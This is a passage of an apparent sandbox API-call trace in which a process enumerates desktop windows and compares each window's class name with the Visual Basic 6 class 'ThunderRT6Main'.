uCmd=0x2) returned 0x101d8 [0125.080] GetClassNameA (in: hWnd=0x101d8, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0125.080] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0125.080] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0125.080] GetWindowLongA (hWnd=0x101d8, nIndex=-16) returned -2046820352 [0125.080] GetWindowLongPtrA (hWnd=0x101d8, nIndex=-6) returned 0x0 [0125.080] GetWindowLongPtrA (hWnd=0x101d8, nIndex=-6) returned 0x0 [0125.080] GetWindow (hWnd=0x101d8, uCmd=0x2) returned 0x201b2 [0125.080] GetClassNameA (in: hWnd=0x201b2, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0125.080] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0125.080] GetWindowThreadProcessId (in: hWnd=0x201b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0125.080] GetWindowLongA (hWnd=0x201b2, nIndex=-16) returned 114229248 [0125.080] GetWindowLongPtrA (hWnd=0x201b2, nIndex=-6) returned 0x13f4a0000 [0125.080] GetWindowLongPtrA (hWnd=0x201b2, nIndex=-6) returned 0x13f4a0000 [0125.080] GetWindow (hWnd=0x201b2, uCmd=0x2) returned 0x4010e [0125.081] GetClassNameA (in: hWnd=0x4010e, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0125.081] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0125.081] GetWindowThreadProcessId (in: hWnd=0x4010e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x944 [0125.081] GetWindow (hWnd=0x4010e, uCmd=0x2) returned 0x201ac [0125.081] GetClassNameA (in: hWnd=0x201ac, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="ARC Window Class O16") returned 20 [0125.081] lstrcmpA (lpString1="ARC Window Class O16", lpString2="ThunderRT6Main") returned -1 [0125.081] GetWindowThreadProcessId (in: hWnd=0x201ac, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0125.081] GetWindowLongA (hWnd=0x201ac, nIndex=-16) returned -2080374784 [0125.081] GetWindowLongPtrA (hWnd=0x201ac, nIndex=-6) returned 0x13f4a0000 [0125.081] GetWindowLongPtrA (hWnd=0x201ac, nIndex=-6) returned 0x13f4a0000 [0125.081] GetWindow (hWnd=0x201ac, uCmd=0x2) returned 0x1019c [0125.081] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.081] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.081] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7b8 [0125.081] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019a [0125.081] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Stomach_harassment_") returned 19 [0125.081] lstrcmpA (lpString1="Stomach_harassment_", lpString2="ThunderRT6Main") returned -1 [0125.081] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7b8 [0125.081] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x20216 [0125.081] GetClassNameA (in: hWnd=0x20216, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0125.081] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0125.081] GetWindowThreadProcessId (in: hWnd=0x20216, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0125.081] GetWindowLongA (hWnd=0x20216, nIndex=-16) returned -2080374784 [0125.081] GetWindowLongPtrA (hWnd=0x20216, nIndex=-6) returned 0x7feffa40000 [0125.081] GetWindowLongPtrA (hWnd=0x20216, nIndex=-6) returned 0x7feffa40000 [0125.081] GetWindow (hWnd=0x20216, uCmd=0x2) returned 0x20206 [0125.081] GetClassNameA (in: hWnd=0x20206, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0125.081] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0125.081] GetWindowThreadProcessId (in: hWnd=0x20206, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0125.081] GetWindowLongA (hWnd=0x20206, nIndex=-16) returned 1149272145 [0125.081] GetWindow (hWnd=0x20206, uCmd=0x2) returned 0x101d4 [0125.081] GetClassNameA (in: hWnd=0x101d4, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0125.081] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0125.082] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0125.082] GetWindowLongA (hWnd=0x101d4, nIndex=-16) returned 1149272145 [0125.082] GetWindow (hWnd=0x101d4, uCmd=0x2) returned 0x10196 [0125.082] GetClassNameA (in: hWnd=0x10196, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Litwindow") returned 9 [0125.082] lstrcmpA (lpString1="Litwindow", lpString2="ThunderRT6Main") returned -1 [0125.082] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x250 [0125.082] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10198 [0125.082] GetClassNameA (in: hWnd=0x10198, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.082] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.082] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x250 [0125.082] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x10192 [0125.082] GetClassNameA (in: hWnd=0x10192, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Fed_bodies_wnd") returned 14 [0125.082] lstrcmpA (lpString1="Fed_bodies_wnd", lpString2="ThunderRT6Main") returned -1 [0125.082] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b4 [0125.082] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x10194 [0125.082] GetClassNameA (in: hWnd=0x10194, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.082] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.082] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b4 [0125.082] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x1018e [0125.082] GetClassNameA (in: hWnd=0x1018e, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="mauitellingWeightapp") returned 20 [0125.082] lstrcmpA (lpString1="mauitellingWeightapp", lpString2="ThunderRT6Main") returned -1 [0125.082] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x704 [0125.082] GetWindow (hWnd=0x1018e, uCmd=0x2) returned 0x10190 [0125.082] GetClassNameA (in: hWnd=0x10190, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.082] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.082] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x704 [0125.082] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x1018a [0125.082] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Buriedpositioncls") returned 17 [0125.082] lstrcmpA (lpString1="Buriedpositioncls", lpString2="ThunderRT6Main") returned -1 [0125.082] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x584 [0125.082] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x1018c [0125.083] GetClassNameA (in: hWnd=0x1018c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.083] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.083] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x584 [0125.083] GetWindow (hWnd=0x1018c, uCmd=0x2) returned 0x10186 [0125.083] GetClassNameA (in: hWnd=0x10186, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="translations_Massive_Mp_app") returned 27 [0125.083] lstrcmpA (lpString1="translations_Massive_Mp_app", lpString2="ThunderRT6Main") returned 1 [0125.083] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x460 [0125.083] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0125.083] GetClassNameA (in: hWnd=0x10188, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.083] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.083] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x460 [0125.083] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10182 [0125.083] GetClassNameA (in: hWnd=0x10182, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="vendor_win") returned 10 [0125.083] lstrcmpA (lpString1="vendor_win", lpString2="ThunderRT6Main") returned 1 [0125.083] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x798 [0125.083] GetWindow (hWnd=0x10182, uCmd=0x2) returned 0x10184 [0125.083] GetClassNameA (in: hWnd=0x10184, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.083] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.083] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x798 [0125.083] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017e [0125.083] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Uniformphotographwin") returned 20 [0125.083] lstrcmpA (lpString1="Uniformphotographwin", lpString2="ThunderRT6Main") returned 1 [0125.083] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xf0 [0125.083] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10180 [0125.083] GetClassNameA (in: hWnd=0x10180, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.083] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.083] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xf0 [0125.083] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x1017a [0125.083] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="filingsunriseIdentificationwin") returned 30 [0125.083] lstrcmpA (lpString1="filingsunriseIdentificationwin", lpString2="ThunderRT6Main") returned -1 [0125.083] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x42c [0125.084] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x1017c [0125.084] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.084] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.084] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x42c [0125.084] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x10176 [0125.084] GetClassNameA (in: hWnd=0x10176, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Alt_wnd") returned 7 [0125.084] lstrcmpA (lpString1="Alt_wnd", lpString2="ThunderRT6Main") returned -1 [0125.084] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x75c [0125.084] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x10178 [0125.084] GetClassNameA (in: hWnd=0x10178, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.084] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.084] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x75c [0125.084] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x10172 [0125.084] GetClassNameA (in: hWnd=0x10172, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="testVotingdistributedwin") returned 24 [0125.084] lstrcmpA (lpString1="testVotingdistributedwin", lpString2="ThunderRT6Main") returned -1 [0125.084] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x56c [0125.084] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x10174 [0125.084] GetClassNameA (in: hWnd=0x10174, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.084] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.084] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x56c [0125.084] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x1016e [0125.084] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="saferwin") returned 8 [0125.084] lstrcmpA (lpString1="saferwin", lpString2="ThunderRT6Main") returned -1 [0125.084] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x58c [0125.084] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10170 [0125.084] GetClassNameA (in: hWnd=0x10170, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.084] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.084] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x58c [0125.084] GetWindow (hWnd=0x10170, uCmd=0x2) returned 0x1016a [0125.084] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="fancyInitiallywindow") returned 20 [0125.085] lstrcmpA (lpString1="fancyInitiallywindow", lpString2="ThunderRT6Main") returned -1 [0125.085] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x620 [0125.085] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x1016c [0125.085] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.085] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.085] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x620 [0125.085] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x10166 [0125.085] GetClassNameA (in: hWnd=0x10166, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="remove_Thu_Annotation_wnd") returned 25 [0125.085] lstrcmpA (lpString1="remove_Thu_Annotation_wnd", lpString2="ThunderRT6Main") returned -1 [0125.085] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0 [0125.085] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10168 [0125.085] GetClassNameA (in: hWnd=0x10168, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.085] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.085] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0 [0125.085] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x10162 [0125.085] GetClassNameA (in: hWnd=0x10162, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="pinelaboratoriesreferencedwin") returned 29 [0125.085] lstrcmpA (lpString1="pinelaboratoriesreferencedwin", lpString2="ThunderRT6Main") returned -1 [0125.085] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6bc [0125.085] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x10164 [0125.085] GetClassNameA (in: hWnd=0x10164, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.085] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.085] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6bc [0125.085] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x1015e [0125.085] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Matches_wnd") returned 11 [0125.085] lstrcmpA (lpString1="Matches_wnd", lpString2="ThunderRT6Main") returned -1 [0125.085] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x744 [0125.085] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x10160 [0125.085] GetClassNameA (in: hWnd=0x10160, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.085] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.085] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x744 [0125.086] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x1015a [0125.086] GetClassNameA (in: hWnd=0x1015a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Fresh_cn_Eggs_wnd") returned 17 [0125.086] lstrcmpA (lpString1="Fresh_cn_Eggs_wnd", lpString2="ThunderRT6Main") returned -1 [0125.086] GetWindowThreadProcessId (in: hWnd=0x1015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x508 [0125.086] GetWindow (hWnd=0x1015a, uCmd=0x2) returned 0x1015c [0125.086] GetClassNameA (in: hWnd=0x1015c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.086] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.086] GetWindowThreadProcessId (in: hWnd=0x1015c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x508 [0125.086] GetWindow (hWnd=0x1015c, uCmd=0x2) returned 0x10156 [0125.086] GetClassNameA (in: hWnd=0x10156, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="what_Volkswagen_app") returned 19 [0125.086] lstrcmpA (lpString1="what_Volkswagen_app", lpString2="ThunderRT6Main") returned 1 [0125.086] GetWindowThreadProcessId (in: hWnd=0x10156, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x760 [0125.086] GetWindow (hWnd=0x10156, uCmd=0x2) returned 0x10158 [0125.086] GetClassNameA (in: hWnd=0x10158, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.086] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.086] GetWindowThreadProcessId (in: hWnd=0x10158, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x760 [0125.086] GetWindow (hWnd=0x10158, uCmd=0x2) returned 0x3010a [0125.086] GetClassNameA (in: hWnd=0x3010a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="commit_Newman_Rings_win") returned 23 [0125.086] lstrcmpA (lpString1="commit_Newman_Rings_win", lpString2="ThunderRT6Main") returned -1 [0125.086] GetWindowThreadProcessId (in: hWnd=0x3010a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x348 [0125.086] GetWindow (hWnd=0x3010a, uCmd=0x2) returned 0x90154 [0125.086] GetClassNameA (in: hWnd=0x90154, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.086] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.086] GetWindowThreadProcessId (in: hWnd=0x90154, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x348 [0125.086] GetWindow (hWnd=0x90154, uCmd=0x2) returned 0x20116 [0125.086] GetClassNameA (in: hWnd=0x20116, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0125.086] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0125.086] GetWindowThreadProcessId (in: hWnd=0x20116, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0125.086] GetWindow (hWnd=0x20116, uCmd=0x2) returned 0x1014a [0125.086] GetClassNameA (in: hWnd=0x1014a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0125.086] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0125.086] GetWindowThreadProcessId (in: hWnd=0x1014a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0125.086] GetWindow (hWnd=0x1014a, uCmd=0x2) returned 0x10148 [0125.087] GetClassNameA (in: hWnd=0x10148, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0125.087] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0125.087] GetWindowThreadProcessId (in: hWnd=0x10148, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0 [0125.087] GetWindow (hWnd=0x10148, uCmd=0x2) returned 0x2013e [0125.087] GetClassNameA (in: hWnd=0x2013e, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0125.087] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0125.087] GetWindowThreadProcessId (in: hWnd=0x2013e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0125.087] GetWindow (hWnd=0x2013e, uCmd=0x2) returned 0x10132 [0125.087] GetClassNameA (in: hWnd=0x10132, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0125.087] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0125.087] GetWindowThreadProcessId (in: hWnd=0x10132, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0 [0125.087] GetWindow (hWnd=0x10132, uCmd=0x2) returned 0x10134 [0125.087] GetClassNameA (in: hWnd=0x10134, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.087] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.087] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0 [0125.087] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x1012a [0125.087] GetClassNameA (in: hWnd=0x1012a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="ATL:000007FEFC1141F0") returned 20 [0125.087] lstrcmpA (lpString1="ATL:000007FEFC1141F0", lpString2="ThunderRT6Main") returned -1 [0125.087] GetWindowThreadProcessId (in: hWnd=0x1012a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0125.087] GetWindow (hWnd=0x1012a, uCmd=0x2) returned 0x1012c [0125.087] GetClassNameA (in: hWnd=0x1012c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.087] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.087] GetWindowThreadProcessId (in: hWnd=0x1012c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0125.087] GetWindow (hWnd=0x1012c, uCmd=0x2) returned 0x10120 [0125.087] GetClassNameA (in: hWnd=0x10120, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0125.087] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0125.087] GetWindowThreadProcessId (in: hWnd=0x10120, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0125.087] GetWindow (hWnd=0x10120, uCmd=0x2) returned 0x10122 [0125.087] GetClassNameA (in: hWnd=0x10122, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.087] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.087] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0125.087] GetWindow (hWnd=0x10122, uCmd=0x2) returned 0x1011e [0125.088] GetClassNameA (in: hWnd=0x1011e, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0125.088] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0125.088] GetWindowThreadProcessId (in: hWnd=0x1011e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0125.089] GetWindow (hWnd=0x1011e, uCmd=0x2) returned 0x200c0 [0125.089] GetClassNameA (in: hWnd=0x200c0, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0125.089] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0125.089] GetWindowThreadProcessId (in: hWnd=0x200c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0125.089] GetWindow (hWnd=0x200c0, uCmd=0x2) returned 0x200ae [0125.089] GetClassNameA (in: hWnd=0x200ae, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0125.089] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0125.089] GetWindowThreadProcessId (in: hWnd=0x200ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0125.089] GetWindow (hWnd=0x200ae, uCmd=0x2) returned 0x200b0 [0125.089] GetClassNameA (in: hWnd=0x200b0, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0125.089] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0125.089] GetWindowThreadProcessId (in: hWnd=0x200b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0125.089] GetWindow (hWnd=0x200b0, uCmd=0x2) returned 0x200b4 [0125.089] GetClassNameA (in: hWnd=0x200b4, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0125.089] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0125.089] GetWindowThreadProcessId (in: hWnd=0x200b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0125.089] GetWindow (hWnd=0x200b4, uCmd=0x2) returned 0x200bc [0125.089] GetClassNameA (in: hWnd=0x200bc, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0125.089] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0125.090] GetWindowThreadProcessId (in: hWnd=0x200bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0125.090] GetWindow (hWnd=0x200bc, uCmd=0x2) returned 0x300ca [0125.090] GetClassNameA (in: hWnd=0x300ca, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0125.090] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0125.090] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0125.090] GetWindow (hWnd=0x300ca, uCmd=0x2) returned 0x800a0 [0125.090] GetClassNameA (in: hWnd=0x800a0, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0125.090] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0125.090] GetWindowThreadProcessId (in: hWnd=0x800a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0125.090] GetWindow (hWnd=0x800a0, uCmd=0x2) returned 0x20018 